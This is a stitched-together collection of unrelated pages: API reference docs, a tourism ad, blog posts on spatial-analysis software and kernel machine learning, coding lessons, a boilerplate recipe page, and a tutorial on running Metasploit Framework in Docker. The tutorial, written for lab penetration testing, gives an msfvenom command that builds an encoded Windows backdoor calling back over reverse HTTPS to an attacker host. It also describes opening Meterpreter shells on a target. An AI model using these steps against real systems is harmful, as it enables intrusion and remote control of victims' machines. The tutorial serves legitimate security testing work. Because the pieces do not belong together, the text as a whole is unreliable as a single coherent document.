◆ ContainerScroll
| virtual bool Ext.Net.GridDragDrop.Config.ContainerScroll |
|
getset |
True to register this container with the Scrollmanager for auto scrolling during drag operations.
◆ Copy
| virtual ? bool Ext.Net.GridDragDrop.Config.Copy |
|
getset |
Set as true to copy the records from the source grid to the destination drop grid. Otherwise, dragged records will be moved.
◆ DDGroup
| virtual string Ext.Net.GridDragDrop.Config.DDGroup |
|
getset |
A named drag drop group to which this object belongs. If a group is specified, then both the DragZones and DropZone used by this plugin will only interact with other drag drop objects in the same group (defaults to 'GridDD').
◆ DragGroup
| virtual string Ext.Net.GridDragDrop.Config.DragGroup |
|
getset |
The ddGroup to which the DragZone will belong. This defines which other DropZones the DragZone will interact with. Drag/DropZones only interact with other Drag/DropZones which are members of the same ddGroup.
◆ DragText
| virtual string Ext.Net.GridDragDrop.Config.DragText |
|
getset |
◆ DropGroup
| virtual string Ext.Net.GridDragDrop.Config.DropGroup |
|
getset |
The ddGroup to which the DropZone will belong. This defines which other DragZones the DropZone will interact with. Drag/DropZones only interact with other Drag/DropZones which are members of the same ddGroup.
◆ EnableDrag
| virtual bool Ext.Net.GridDragDrop.Config.EnableDrag |
|
getset |
Defaults to true. Set to false to disallow dragging items from the View
◆ EnableDrop
| virtual bool Ext.Net.GridDragDrop.Config.EnableDrop |
|
getset |
Defaults to true. Set to false to disallow the View from accepting drop gestures
The documentation for this class was generated from the following file:


We'll help you find the best Caribbean tourist locations that suit your needs perfectly
Find Out MoreCaribTour is a government funded organization dedicated to growing the Caribbean's Tourism Industry. Our headquarters is located in Kingston, Jamaica where our dedicated staff tailor your options to the most rated tourist attractions in the region!
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Hotel locations in popular Caribbean tourism spots
View the most popular attractions in your countries of choice
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1<PHONE_NUMBER>


class SleeperRb::Resources::League::ScoringSettings
Scoring settings for a League
instance
Constants
- FIELDS
rubocop:disable Naming/VariableNumber
Attributes
blk_kick[R]
def_st_ff[R]
def_st_fum_rec[R]
def_st_td[R]
def_td[R]
ff[R]
fgm_0_19[R]
fgm_20_29[R]
fgm_30_39[R]
fgm_40_49[R]
fgm_50p[R]
fgmiss[R]
fum[R]
fum_lost[R]
fum_rec[R]
fum_rec_td[R]
int[R]
pass_2pt[R]
pass_int[R]
pass_td[R]
pass_yd[R]
pts_allow_0[R]
pts_allow_14_20[R]
pts_allow_1_6[R]
pts_allow_21_27[R]
pts_allow_28_34[R]
pts_allow_35p[R]
pts_allow_7_13[R]
rec[R]
rec_2pt[R]
rec_td[R]
rec_yd[R]
rush_2pt[R]
rush_td[R]
rush_yd[R]
sack[R]
safe[R]
st_d[R]
st_ff[R]
st_fum_rec[R]
xpm[R]
xpmiss[R]
Public Instance Methods
half_ppr?()
click to toggle source
@return [Boolean] If league uses Half-PPR scoring
# File lib/sleeper_rb/resources/league/scoring_settings.rb, line 160 def half_ppr? rec > 0.0 && rec < 1.0 end
ppr?()
click to toggle source
@return [Boolean] If league uses PPR scoring
# File lib/sleeper_rb/resources/league/scoring_settings.rb, line 154 def ppr? rec.to_i == 1 end
standard?()
click to toggle source
@return [Boolean] If league uses Standard (0 PPR) scoring
# File lib/sleeper_rb/resources/league/scoring_settings.rb, line 166 def standard? rec.zero? end


--- layout: post title: Wikipedia Page on Spatial Analysis Software date: 2010-02-02 17:43:12.000000000 -06:00 type: post parent_id: '0' published: true password: '' status: publish categories: - English tags: [] meta: _edit_last: '1412221' author: login: dreamessenceonthemove email<EMAIL_ADDRESS>display_name: darribas first_name: Daniel last_name: Arribas-Bel permalink: "/2010/02/02/wikipedia-page-on-spatial-analysis-software/" ---
Dear Spatial Analysis community:
As a by-product of last summer's Workshop in India, the GeoDa Center for Geospatial Analysis and Computation has started a new WikiPedia page to list Spatial Analysis Software. As it is now, it is just a beginning with a small subset of it, but the goal is to end up with a comprehensive list of packages written to enable spatial analysis.
It is structured as a sortable table with the following columns: 'Package' (name), 'Free of charge' (yes/no), 'Operating Systems' (platform), 'Developer Institution/person', 'Website' (link to the projects page), 'Field of interest (if any specific)', 'Main Features', 'Language' (programming language use), 'License' (in order to know degree of freedom in the code).
To edit, just click on the tab 'edit this page' on the top of the page and edit. All the changes go live, so make sure you want to do that change before clicking on "Save changes". If you want to add a new package (row in the table), it is recommended to copy and paste the block of an existing one and edit the new one there.
We would like to invite you all to take a look at it and help improve it. The beginning of the page is like pushing a snowball from the top of the hill, what it is to come will be up to the community!


Symmetries in kernel-based machine learning
Setting
We propose to learn a mapping \({\bf Q} \rightarrow O\) between the (featurized) representation of sample \(i\), \({\bf Q}_i\), and a target observable, \(O_i = O({\bf Q}_i)\). Examples of \(O\) for molecular systems could include a LUMO energy, a binding constant, or a solubility value.
The formalims outlined here follows [Scherer et al.].
Kernel machine learning 101
Training a kernel machine learning (ML) model is equivalent to solving the set of linear equations \[{\bf O} = \hat{K}{\bf \alpha},\] where the kernel function \(K_{ij} = K({\bf Q}_i, {\bf Q}_j) = {\rm Cov}(O_i, O_j)\) measures the similarity between samples \({\bf Q}_i\) and \({\bf Q}_j\) (via the covariance function), and \({\bf \alpha}\) is the (unknown) vector of weight coefficients. Because of the linearity of the equation, we can invert–only if we also regularize–the problem at hand \[ \alpha = (\hat K + \lambda \mathbb{1})^{-1}{\bf O}, \] where \(\lambda\) implements Tikhonov regularization and \(\mathbb{1}\) is the identity matrix. Both \(\hat K\) and \(\mathbb{1}\) are \(N \times N\) matrices, while \(\alpha\) and \({\bf O}\) are both vectors of length \(N\). Here \(N\) corresponds to the number of training samples. Determination of the coefficients \({\bf \alpha}\) corresponds to training the ML model.
Once trained, we can use it to predict new samples! Given a yet unseen configuration \({\bf Q}^*\), the predicted observable is given by \[ O({\bf Q}^*) = \sum_{i=1}^N \alpha_i K({\bf Q}_i, {\bf Q}^*). \tag{1} \] Eq. (1) takes on a particularly intuitive form: it is a linear expansion of kernel evaluations between each one of the \(N\) training points against the new configuration \({\bf Q}^*\). Though it’s linear, this expression is typically far more expressive than a straight-up linear regression because of the so-called kernel trick: the kernel function gathers similarities in a high-dimensional (and implicit!) Hilbert space.
Noether theorem
Emmy Noether tells us that to any conservation law, there is an associated symmetry. According to Wikipedia: “To every differentiable symmetry generated by local actions there corresponds a conserved current.”
Important examples:
- Translational invariance leads to conservation of linear momentum
- Rotational invariance leads to conservation of angular momentum
- Time invariance leads to convervation of energy
Rotation
Let’s start with rotations. There are two types of symmetries: invariance and covariance.
Invariance
Invariance means that the target observable does not depend on the orientation of the sample. Intuitively, the net charge of a molecule (in vacuum) does not depend on its orientation. Making our ML model invariant to rotations simply means ignoring rotational degrees of freedom in the representation. For instance, working with internal coordinates (e.g., pairwise distances) will do just that.
Covariance
Covariance is a bit more interesting. Compared to invariance, now the observable will rotate together with the input sample. For instance, the dipole moment of a molecule rotates with the molecule itself.
There are two main routes that lead to covariance ML Models:
- Preprocess all samples to rotate them in an (arbitrary but consistent) local axis system; train and predict in that local frame; Rotate back in the global frame;
- Pick a kernel that correctly orients its prediction based on the input sample
Route 1 is relatively easy to implement, and can be a good strategy for small molecules. For larger structures it may turn out challenging to define a local axis system.
Let’s dive into route 2.
First of all, “pick a kernel” means that among the very large number of kernels that one could choose, one / a few / some may have interesting mathematical properties. To be more precise, we’re looking for kernels that know a bit about geometry, and in fact obey the SO(3) rotation group—the group of rotations in 3D space. Because of the 3 dimensions, we will seek a matrix-valued kernel, i.e., one entry in the kernel matrix between any two samples will be of shape \(3 \times 3\).
For simplicity we will focus on two-body interactions. The representation for sample \(i\) will be \({\bf q}_i = {\bf r}_i\), where \({\bf r}\) is the interparticle vector.
Let’s first define a base (scalar) Gaussian kernel, \[ k_{\rm b}({\bf q}_m, {\bf q}_l) = \exp\left( - \frac{({\bf r}_m - {\bf r}_l)^2}{2\sigma ^2} \right), \] which only picks up distance information between the two samples.
Constructing a covariant matrix-valued kernel can be obtained by integrating \(k_{\rm b}\) over all rotation matrices, i.e., summing over all actions of the rotation group [Mehta] \[ \hat \kappa_{\rm c}({\bf q}_m, {\bf q}_l) = \int {\rm d} \hat{\mathcal{R}} \, \hat{\mathcal{R}} k_{\rm b} ({\bf q}_m, \hat{\mathcal{R}}{\bf q}_l), \] note how the rotation matrix is applied onto one of the two samples of the kernel function. An insightful paper by [Glielmo et al.] offered an analytical solution for pairs: \[ \hat \kappa_{\rm c}({\bf q}_m, {\bf q}_l) = {\rm e}^{-\alpha_{ml}} \left( \frac{\cosh \gamma_{ml}}{\gamma_{ml}} - \frac{\sinh \gamma_{ml}}{\gamma_{ml}^2} \right) \hat{{\bf r}}_m \hat{{\bf r}}_l^{\rm T}, \tag{2} \] where \(\alpha_{ml} = r_m^2 + r_l^2 / 4\sigma^2\), \(\gamma_{ml} = r_mr_l/2\sigma^2\), and \(\hat{{\bf r}}_m = {\bf r}_m / r_m\). What’s important in Eq. (2) is the right-most part of the RHS: the tensor product between the pairwise vectors is solely responsible for the covariance of \(\hat \kappa_{\rm c}({\bf q}_m, {\bf q}_l)\).
Energy conservation
Let’s say we’re learning a force field. Energy conservation can take several forms, including:
- Curl of the force is zero: \(\nabla \times {\bf F} = 0\)
- Force derives from a potential: \({\bf F} = -\nabla E\)
Let’s select/construct a kernel that implements energy conservation! (See, among others, these important papers: [Macedo & Castro], [Chmiela et al.], [Bartok & Csanyi]). \[ \begin{align} \hat\kappa_{\rm h}({\bf q}_m, {\bf q}_l) &= {\rm Cov}\left( \frac{\partial E({\bf q}_m)}{\partial {\bf r}_m}, \frac{\partial E({\bf q}_l)}{\partial {\bf r}_l} \right) \\ &= \sum_{\alpha, \beta} \frac{\partial^2 k({\bf q}_m, {\bf q}_l)}{\partial q_{m, \alpha}\partial q_{l, \beta}} \left( \frac{\partial q_{m,\alpha}}{\partial{\bf r}_m} \right) \left( \frac{\partial q_{l,\beta}}{\partial{\bf r}_l} \right)^{\rm T}, \end{align} \] which is sometimes called the Hesian kernal, due to the first term of the RHS. While you can try to work out the partial derivatives for a given kernel (e.g., the abovementioned Gaussian kernel), what’s important here again are the other terms: We recognize once again a tensor product! For pairwise interactions, covariance and energy conservation go hand in hand, and lead to matrix-valued kernels with similar characteristics.
References
- [Scherer et al.] : https://dx.doi.org/10.1021/acs.jctc.9b01256
- [Mehta] : Mehta, M. L. Random Matrices; Elsevier: 2004; Vol. 142.
- [Glielmo et al.] : https://link.aps.org/doi/10.1103/PhysRevB.95.214302
- [Macedo & Castro] : https://www.yumpu.com/en/document/view/37810994/learning-divergence-free-and-curl-free-vector-fields-with-matrix-
- [Chmiela et al.] : https://dx.doi.org/10.1126/sciadv.1603015
- [Bartok & Csanyi] : https://doi.org/10.1002/qua.24927


It's decidedly a much, much more dynamic language. It doesn't only define variables; It also manipulates those variables, performs a myriad of tasks based on the contexts those variables come in, It can even add elements into the DOM based on function calls from HTML.
Take snacking as an example here. (Or some proper meal of your choice.) Break up the task into smaller functions: like: search and eat.
We might define a loop that says: WHILE it's not yet bedtime, check the fridge every couple of hours. IF we find something to clog our arteries, it's coming out of the fridge.
Once we've got something subjectively nice on our plate, we loop through the next function in our control flow, like: fork in cake, cake in mouth, teeth on cake, cake in belly.
Our search function here appears first, so it's at the forefront of the control flow and runs every 2 hours. Once we find something the 'IF' statement takes control and does its job of retrieving our guilty pleasure. Then we can pass control onto our eating function (which we'd call in the IF statement) which will loop through the act of getting the nom-nom into your tum-tum.
Arrays are basically lists that can store other data types, including other arrays; Where the data are organised into their own little numbered box, called an index. By using the pattern: arrayName[index]
We can access the data from any index.
Objects are a bit different. They're a bit more precise in that, instead of just a numbered box, they can have words as their labels. Because of that objects have two patterns for accessing their data. We take a similar pattern from arrays: objectName.labelName or objectName[Label Name]
The first pattern is only used when you know the exact label you need and it has no spaces. The second pattern is required for labels that have spaces or are getting the name from some other part of the document.
Functions are great! They allow you to essentially have a pre-defined process for doing things that can be based on variables either defined in your document or given by a user. Simply put, they're an action plan that teaches the computer what to do in response to different events.


How long can you keep your Dust Buddy safe from the Vacuum?
1) First, pick, or draw, your character that is going to be chased, and pick a backdrop.
2) Next, get this character to follow your mouse around.
3) Time to add another character and make it chase your original character.
4)When the character is caught by the chaser, indicate that the game is over with an animation.
5)Add a variable (in Data) that shows how long the user lasted before the sprites touched.
6) Challenge step: Can you make your game keep track of the user that has the high score? (Hint: you’ll need a cloud variable. Ask your instructor to help you become a Scratcher.)
7) Share your game publicly by clicking the share button in the top-right corner.


{% extends "bootstrap_theme/base.html" %} {% load bootstrap3 %} {% block content %}
We are getting married, and we want you, {{ group.display_name }}, to join us!
We’ll be using this website to collect and give out information. Below is a summary of events and a form for you to fill out your contact information.
{% if group.person_set.all %}


Bus Mall
Pic1 name
Pic2 name
Pic3 name
- Starwars Bag
- Banana Slicer
- Toilet Tablet
- Boots
- Breakfast Maker
- Meatgum
- Camel Chair
- Cthulhu
- Duck Muzzle
- Dragon Meat
- Utencil Pen
- Pet Mop
- Pizza Scissors
- Shark Sleeping Bag
- Baby Mop
- Goat Sleeping Bag
- Unicorn Meat
- Reverse Watering Can
- Wine Glass


Run Metasploit Framework as a Docker Container Without Installation Pains
Metasploit Framework is a powerful open source tool for penetration testing. Whether you’re looking to use it for work or are merely interested in experimenting with it, you can run Metasploit Framework in a Docker container without having to deal with the pain of installing the code and its dependencies. The Docker image “remnux/metasploit” is available as part of the REMnux collection, thanks to the configuration efforts of Jean Christophe Baptiste.
The following instructions and examples demonstrate how you can start using this Metasploit Docker container in a lab as well as on a publicly-accessible server. The container provides the command-line Metasploit Framework version of the tool. It lacks the web-based interface that you can get if you install the free Community edition, which you would need to register with Rapid 7. Command-line capabilities of Metasploit Framework are very powerful and lend themselves well to penetration testing tasks that involve running the tool on a remote system.
How to Launch the Metasploit Framework Docker Container
To make use of the Metasploit Framework Docker image, all you need is a sufficiently-powerful system that is connected to the Internet and that has Docker installed on it. When you run a command like the one below on such a host, it will automatically download the image from the REMnux repository and launch it:
sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit
In this example, I directed Docker to run the application “remnux/metasploit” in a transient container, which will disappear once you’ve exited it (that’s what “–rm” is for). The “-it” parameter allows you to interact with the container using an interactive shell.
To ensure that relevant data persists across container invocations, I used the “-v” parameter to map the directories on my host to the corresponding locations inside the container. The idea is to use the “~/.msf4” directory for Metasploit Framework configuration files. The “/tmp/msf” directory on the host can store other data you may wish to keep, such as the artifacts you might obtain from the targeted systems.
The “-p” parameter maps the ports on which you expect to receive inbound connections to the corresponding ports inside the container. The example above uses TCP port 443 with the expectation of incoming HTTPS connections from reverse shells.
The image is quite large: over 1.2GB in size, because it includes the full runtime environment for Metasploit Framework, along with all its dependencies. It will be cached locally after the initial download. If you ever wish to refresh the image to ensure you’re using the latest version use the command “sudo docker pull remnux/metasploit”.
The container is configured to automatically update Metasploit modules whenever you launch it. To add your own modules, add them to your host’s ~/.msf4 directory.
Test-Driving the Metasploit Framework Container
Here’s how you might start experimenting with Metasploit Framework after launching its “remnux/metasploit” container in your lab. I’ll target a weakly-configured Windows system in my lab for example purposes. I’ll direct Metasploit Framework to remotely connect to the system using the credentials that I supplied, rather than actually exploiting a vulnerability. I will then open a reverse HTTPS shell to my Metasploit Framework console.
In the sample session above, I launched Metasploit’s msfconsole tool, then directed it to give me an interactive Meterpreter shell to the targeted system. The connection was tunneled over HTTPS, which was directed to the Metasploit Framework container over TCP port 443.
The screenshot that I saved using this session was placed in the /tmp/data directory inside the container. When I exited the container, the contents of that directory persisted on my underlying host in the /tmp/msf directory.
Running the Metasploit Framework Container in the Public Cloud
When performing penetration testing, you’ll probably want to run Metasploit on an Internet-accessible system. You can do this quite easily by bringing up a temporary server within some public cloud provider, then running the Metasploit Framework container on that host.
For instance, here is how you can accomplish this using DigitalOcean, which I like to use due to its low cost and high reliability. (The link includes my referral code.) Though DigitalOcean can spin up virtual machines for merely $5 per month, I found such a low-end system to have insufficient RAM for Metasploit. Therefore, I went with the $10 per month option for an Ubuntu host.
Once the new system is active, you can log into it and execute the following commands to install Docker on the host:
apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D add-apt-repository -y "deb https://apt.dockerproject.org/repo ubuntu-$(lsb_release -sc) main" apt-get update apt-get -y dist-upgrade apt-get -y install docker-engine
Afterwards, you can direct Docker to download and launch the Metasploit Framework container using the command like the one in the beginning of this article.
sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit
For this example, I decided to use Metasploit to generate a standalone backdoor executable file, which I would run on the targeted Windows system to simulate a scenario where the victim is tricked into running malware. I ran the “msfvenom” tool inside the Metasploit Framework container to accomplish this:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=<IP_ADDRESS> LPORT=443 -e x86/shikata_ga_nai -f exe -o file.exe
Since the current directory inside the container is /tmp/data by default, the resulting file was placed there. Because I mapped this directory to the host’s /tmp/msf directory, I was able to take it from there and transfer it to my lab’s Windows computer.
I then ran “msfconsole” inside the container and directed the tool to use multi/handler, which is designed to accept connections generated outside of the “msfconsole” interface. Once the reverse-HTTPS listener was active, I “infected” my Windows system with the previously-created file.exe, which completed the connection and provided me with a Meterpreter shell.
As was the case in the previous example, I saved the screenshot of the Windows system into /tmp/data, which allowed me to retain it even after the container terminated.
Additional Capabilities of the Container
The Metasploit Framework container also includes the infamous Nmap scanning tool, which you can run using the “nmap” command. It offers a powerful way to examine networks and systems to locate potentially-vulnerable services and to determine where to focus your Metasploit efforts. The container also includes the NASM disassembler.
In addition the container includes the tmux terminal multiplexer utility. It allows you to launch multiple “virtual” windows inside a single terminal window. The container’s configuration for this tool maps Ctrl+a as the command key, instead of the default Ctrl+b. To make use of it, type “tmux” after launching the Metasploit Framework container. This will give you a shell inside one of the tool’s “virtual” window. To open another one, press Ctrl+a followed by “c”. To switch between the windows, type Ctrl+a followed by that window’s number (e.g., Ctrl+a followed by “0” or “1”).
For example, you could use tmux to run nmap in one window and msfconsole in another. You can read a tutorial on using tmux to get started with this tool.
Wrapping It Up
Docker containers offer a convenient way of running Metasploit Framework without having to deal with the installation of the tool’s code and its dependencies. Running Metasploit this way is especially handy for situations where you wish to quickly deploy it to a new system, such as one running in a public cloud, and then tear it down without losing your customizations or data. On the other hand, this approach requires some familiarity with Docker containers.
Thanks to Jean Christophe Baptiste for creating and maintaining the Dockerfile and associated configuration files upon which the “remnux/metasploit” image is based. If you notice any problems with this container or have suggestions for improving it, please log an issue on the REMnux repository for Docker files.
Web links
-
link:https://zeltser.com/metasploit-framework-docker-container/


This is an example widget that is yet to be implemented. You can use it as a scaffold for your own widget.
Please refer to documentation to learn about widget anatomy.


Hello, my name is Chris and I consider myself a web enthusiast. Working on customer projects and the famous Aloha Editor at Gentics in Vienna, I am lucky to work with web technology every day.
Apart from making customers happy, designing projects and saving the world once in a while, I am always keen on new ideas and different views on common problems. So if you would like to get to work with me, discuss an idea or just want to say hello, please feel free to get in touch via email: copatntackatt@suppitnig.cuomnom


--- title: "Recipe of Homemade Elsys Chickpea Burger Delicious" slug: elsys-chickpea-burger description: "Elsys Chickpea Burger Recipe - Amazing taste and quick to make. I serve these on an open toasted wholemeal bun with guacamole on top. Recipe of Perfect Elsys Chickpea Burger Tasty" date: 2021-04-20T15:53:55Z image: https://cdn.statically.io/img/images.media-allrecipes.com/userphotos/4574279.jpg thumbnail: https://cdn.statically.io/img/images.media-allrecipes.com/userphotos/4574279.jpg cover: https://cdn.statically.io/img/images.media-allrecipes.com/userphotos/4574279.jpg author: Agustina ratingvalue: 4.3 reviewcount: 324 recipeingredient: - "2 cups dried chickpeas (garbanzo beans)" - "water to cover" - "½ cup roughly chopped cilantro leaves and stems" - "2 medium eggs" - "5 cloves garlic, peeled" - "3 tablespoons chickpea flour" - "2 tablespoons tahini" - "2 teaspoons ground coriander" - "1 teaspoon salt" - "1 teaspoon ground cumin" - "½ teaspoon chili powder" - "½ cup vegetable oil, or as needed" recipeinstructions: - "Place the chickpeas into a large container and cover with several inches of cool water; let stand 8 hours to overnight." - "Drain water from beans and transfer beans to a pot; cover with water. Bring water to a boil; reduce heat and simmer until beans are tender, about 1 hour. Cool beans until easily handled." - "Combine chickpeas, cilantro, eggs, garlic, chickpea flour, tahini, coriander, salt, cumin, and chili powder in a blender; blend until well mixed but still chunky. Form mixture into patties." - "Heat oil in a large skillet over medium heat; fry patties until golden and crisp, about 3 minutes per side." categories: - "Main Dish Recipes" - "Sandwich Recipes" - "Recipes" tags: - "main dish recipes" - "sandwich recipes" katakunci: elsys chickpea burger, main dish recipes, sandwich recipes, . nutrition: 249.5 calories recipecuisine: Western preptime: "P0DT0H15M" cooktime: "P0DT1H6M" totaltime: "P0DT10H36M" recipeyield: "8 patties" recipecategory: - Main Dish Recipes - Sandwich Recipes quotes: Who needs inspirational quotes when you can just drink coffee? ---
Elsys Chickpea Burger - Hello everybody, I hope youre having an incredible day today. It is me again Agustina , welcome to our recipe site. Today, I will show you a way to make a special dish, Elsys Chickpea Burger. One of my favorites recipes. This time, I will make it a little bit tasty. This will be really delicious.
Elsys Chickpea Burger is Amazing taste and quick to make. I serve these on an open toasted wholemeal bun with guacamole on top.
Elsys Chickpea Burger is one of the most favored of current trending foods on earth. its easy, its quick, it tastes yummy. It is enjoyed by millions every day. It is simple, it is fast, it tastes yummy. Elsys Chickpea Burger is something which I ve loved my entire life. They re fine and they look fantastic. They are nice and they look fantastic. Elsys Chickpea Burger is something that I have loved my whole life.
To get started with this recipe, we must first prepare a few ingredients. You can cook Elsys Chickpea Burger using 12 ingredients and 4 steps. Here is how you can achieve that.
So that is going to wrap it up for this special food Elsys Chickpea Burger recipe. Thanks so much for reading. I am sure that you will make this at home. There is gonna be more interesting food at home recipes coming up. Dont forget to bookmark this page in your browser, and share it to your family, colleague and friends. Thanks again for reading. Go on get cooking!


"""
This module contains functions that convert a grid list into a 2-D numpy array.
The grid list contains all instances of the current game.
The player location is always fixed on the center of the matrix by
appendeding zeros that shift automatically in accordance with the player
movment. This was a technical choice made to reduce the time complexity.
Project : Bomberman Bot with Machine Learning
Olin College Software Design Final Orject, Spring 2017
By : TEAM AFK
"""
import numpy as np
[docs]def convertGrid(grid, pPos, viewX, viewY):
"""
Converts a 2d grid list into a numpy array, appended with zeros
so that the player is always located at its center.
"""
resultGridX = 2 * viewX - 1
resultGridY = 2 * viewY - 1
buckets = [[1] * resultGridY] * resultGridX
mymat = np.array(buckets)
x = 0
y = 0
for i in range(int(grid.shape[1] - pPos[1] - 1),
int(2 * grid.shape[1] - pPos[1] - 1)):
for j in range(int(grid.shape[0] - pPos[0] - 1),
int(2 * grid.shape[0] - pPos[0] - 1)):
mymat.itemset((j, i), grid.item((x, y)))
x += 1
y += 1
x = 0
printGrid(mymat)
return mymat
[docs]def printGrid(mymat):
"""
Prints the 5x5 matrix with the player located at the center.
Serves as a testing code to see if the feature extraction is working.
"""
mat = np.concatenate(([mymat[18][14:19]],
[mymat[19][14:19]],
[mymat[20][14:19]],
[mymat[21][14:19]],
[mymat[22][14:19]]),
axis=0)
print(mat.T)
print(" ")


So Long, and Thanks for All the Fish
Douglas Adams presents:
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Scroll down to continue, or use the sidebar to jump.
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—God, final message to His Creation
How did Arthur have his mind drift?


Akaash Patnaik
I suppose I should learn Lisp, but it seems so foreign.
-- Paul Graham (1983)
| Type | Example |
|---|---|
| String | "foo" |
| Number | 55, 3/2, 3.14 |
| Keyword | :abc |
| Boolean | true, false |
| Type | Access | Example |
|---|---|---|
| List | Sequential | (1 2 3) |
| Vector | Sequential & Random | [1 2 3] |
| Map | Associative | {:a 1 :b 2 :c 3} |
| Set | Membership | #{"a" 1 :xyz} |
(+ 1 1) ;=> 2
(defn greet
“Returns a friendly greeting”
[your-name]
(str “Hello, ” your-name))
(greet "World!") ;=> "Hello, World!"
(def space [8 ;; width
5 ;; height
6]) ;; depth
(def gravity [0 -9.8 0])
(def canvas-normal [0 1 0])
(defn starting-point []
(map rand space))
(defn time-to-canvas [position velocity acceleration]
(let [a acceleration
b (* 2 velocity)
c (* 2 position)
discriminant (- (* b b) (* 4 a c))
minus-b (- 0 b)
add-sqrt (/ (+ minus-b (Math/sqrt discriminant)) (* 2 a))
minus-sqrt (/ (- minus-b (Math/sqrt discriminant)) (* 2 a))]
(max add-sqrt minus-sqrt)))
(defn position-at [time initial-position initial-velocity acceleration]
(+ initial-position
(* initial-velocity time)
(/ (* acceleration time time) 2)))
$v = v_0 + at$
(defn velocity-at [time initial-velocity acceleration]
(+ (* acceleration time) initial-velocity))
(defn project-point [position velocity]
(let [[i j k] position
[vi vj vk] velocity
[ai aj ak] gravity
time (time-to-canvas j vj aj)
projected-position [(position-at time i vi ai)
0
(position-at time k vk ak)]
projected-velocity [(velocity-at time vi ai)
(velocity-at time vj aj)
(velocity-at time vk ak)]]
[projected-position
projected-velocity]))
(defn dot-product [vector1 vector2]
(reduce + (map * vector1 vector2)))
(defn vector-subtraction [vector1 vector2]
(map - vector1 vector2))
(defn vector-multiply-by-constant [vector constant]
(map #(* % constant) vector))
(defn bounce-vector [vector normal]
(let [vector-dot-normal (dot-product vector normal)
extreme (vector-multiply-by-constant normal (* 2 vector-dot-normal))]
(vector-subtraction vector extreme)))
(defn random-path [position step-vector bounds]
(cons position
(lazy-seq
(random-path (vector-add (vector-add position step-vector)
(random-vector-between (- 0 bounds) bounds))
step-vector bounds))))
(defn anchor-points [position min-distance max-distance min-steps max-steps variation]
(let [direction (random-unit-vector)
distance (random-between min-distance max-distance)
steps (random-between min-steps max-steps)
step-vector (vector-multiply-by-constant direction (/ distance steps))
random-positions (take steps (random-path position step-vector variation))
end-position (vector-add position
(vector-multiply-by-constant step-vector steps))]
(conj (vec random-positions) end-position)))
(defn recur-relation [t a b]
(+ (* t b) (* a (- 1 t))))
(defn for-component [t component-vals]
(if (= (count component-vals) 1)
(first component-vals)
(for-component t
(map #(recur-relation t %1 %2)
component-vals (rest component-vals)))))
(defn for-t [t components]
(map #(for-component t %) components))
(defn de-casteljau [control-points step-amount]
(let [x-vals (map first control-points)
y-vals (map second control-points)
z-vals (map #(nth % 2) control-points)
points (map #(for-t % [x-vals y-vals z-vals])
(range 0 1 step-amount))]
points))
(defn path-masses [path initial-mass]
(let [number-of-points (count path)
step (- 0 (/ initial-mass number-of-points))]
(take number-of-points (range initial-mass 0 step))))
(:require [quil.core :as q :include-macros true])
(defn fling-and-render [& any]
(q/with-sketch (q/get-sketch-by-id "pollock")
(let [{:keys [colour canvas-path splatter]} (fling-paint)]
(q/stroke (apply q/color colour))
(draw-path canvas-path)
(doall (map draw-splats splatter)))))
(.addEventListener (.querySelector js/document "#add")
"click"
fling-and-render)


|
Project Malmo
0.37.0
|
An ALE agent host mediates between the researcher's code (the agent) and the ALE (the target environment). More...
#include <ALEAgentHost.h>
Public Member Functions | |
| ALEAgentHost () | |
| Creates an agent host with default settings. | |
| ~ALEAgentHost () | |
| Destructor. | |
| void | setSeed (int seed) |
| Set the random seed used to seed the ALE. More... | |
| void | startMission (const MissionSpec &mission, const ClientPool &client_pool, const MissionRecordSpec &mission_record, int role, std::string unique_experiment_id) |
| Starts a mission running. More... | |
| void | startMission (const MissionSpec &mission, const MissionRecordSpec &mission_record) |
| Starts a mission running, in the simple case where there is only one agent running on the local machine. More... | |
| WorldState | peekWorldState () const |
| Gets the latest world state received from the game. More... | |
| WorldState | getWorldState () |
| Gets the latest world state received from the game. More... | |
| std::string | getRecordingTemporaryDirectory () const |
| Gets the temporary directory being used for the mission record, if recording is taking place. More... | |
| void | setVideoPolicy (AgentHost::VideoPolicy videoPolicy) |
| Specifies how you want to deal with multiple video frames. More... | |
| void | setRewardsPolicy (AgentHost::RewardsPolicy rewardsPolicy) |
| Specifies how you want to deal with multiple rewards. More... | |
| void | setObservationsPolicy (AgentHost::ObservationsPolicy observationsPolicy) |
| Specifies how you want to deal with multiple observations. More... | |
| void | sendCommand (std::string command) |
| Sends a command to the game client. More... | |
| void | close () |
| void | parseArgs (int argc, const char **argv) |
| Parses a list of strings given in the C style. Throws std::exception if parsing fails. More... | |
| void | parse (const std::vector< std::string > &args) |
| Parses a list of strings. More... | |
| void | addOptionalIntArgument (const std::string &name, const std::string &description, int defaultValue) |
| Specify an integer argument that can be given on the command line. More... | |
| void | addOptionalFloatArgument (const std::string &name, const std::string &description, double defaultValue) |
| Specify a floating-point argument that can be given on the command line. More... | |
| void | addOptionalStringArgument (const std::string &name, const std::string &description, const std::string &defaultValue) |
| Specify a string argument that can be given on the command line. More... | |
| void | addOptionalFlag (const std::string &name, const std::string &description) |
| Specify a boolean flag that can be given on the command line. More... | |
| std::string | getUsage () const |
| Gets a string that describes the current set of options we expect. More... | |
| bool | receivedArgument (const std::string &name) const |
| Gets whether a named argument was parsed on the command-line arguments. More... | |
| int | getIntArgument (const std::string &name) const |
| Retrieves the value of a named integer argument. More... | |
| double | getFloatArgument (const std::string &name) const |
| Retrieves the value of a named floating-point argument. More... | |
| std::string | getStringArgument (const std::string &name) const |
| Retrieves the value of a named string argument. More... | |
Friends | |
| std::ostream & | operator<< (std::ostream &os, const ALEAgentHost &ah) |
An ALE agent host mediates between the researcher's code (the agent) and the ALE (the target environment).
|
inherited |
Specify a boolean flag that can be given on the command line.
| name | The name of the flag. To be given as "--name" |
| description | The explanation of the flag that can be printed out. |
|
inherited |
Specify a floating-point argument that can be given on the command line.
| name | The name of the argument. To be given as "--name <value>" |
| description | The explanation of the argument that can be printed out. |
| defaultValue | The value that this argument should have if not given on the command line. |
|
inherited |
Specify an integer argument that can be given on the command line.
| name | The name of the argument. To be given as "--name <value>" |
| description | The explanation of the argument that can be printed out. |
| defaultValue | The value that this argument should have if not given on the command line. |
|
inherited |
Specify a string argument that can be given on the command line.
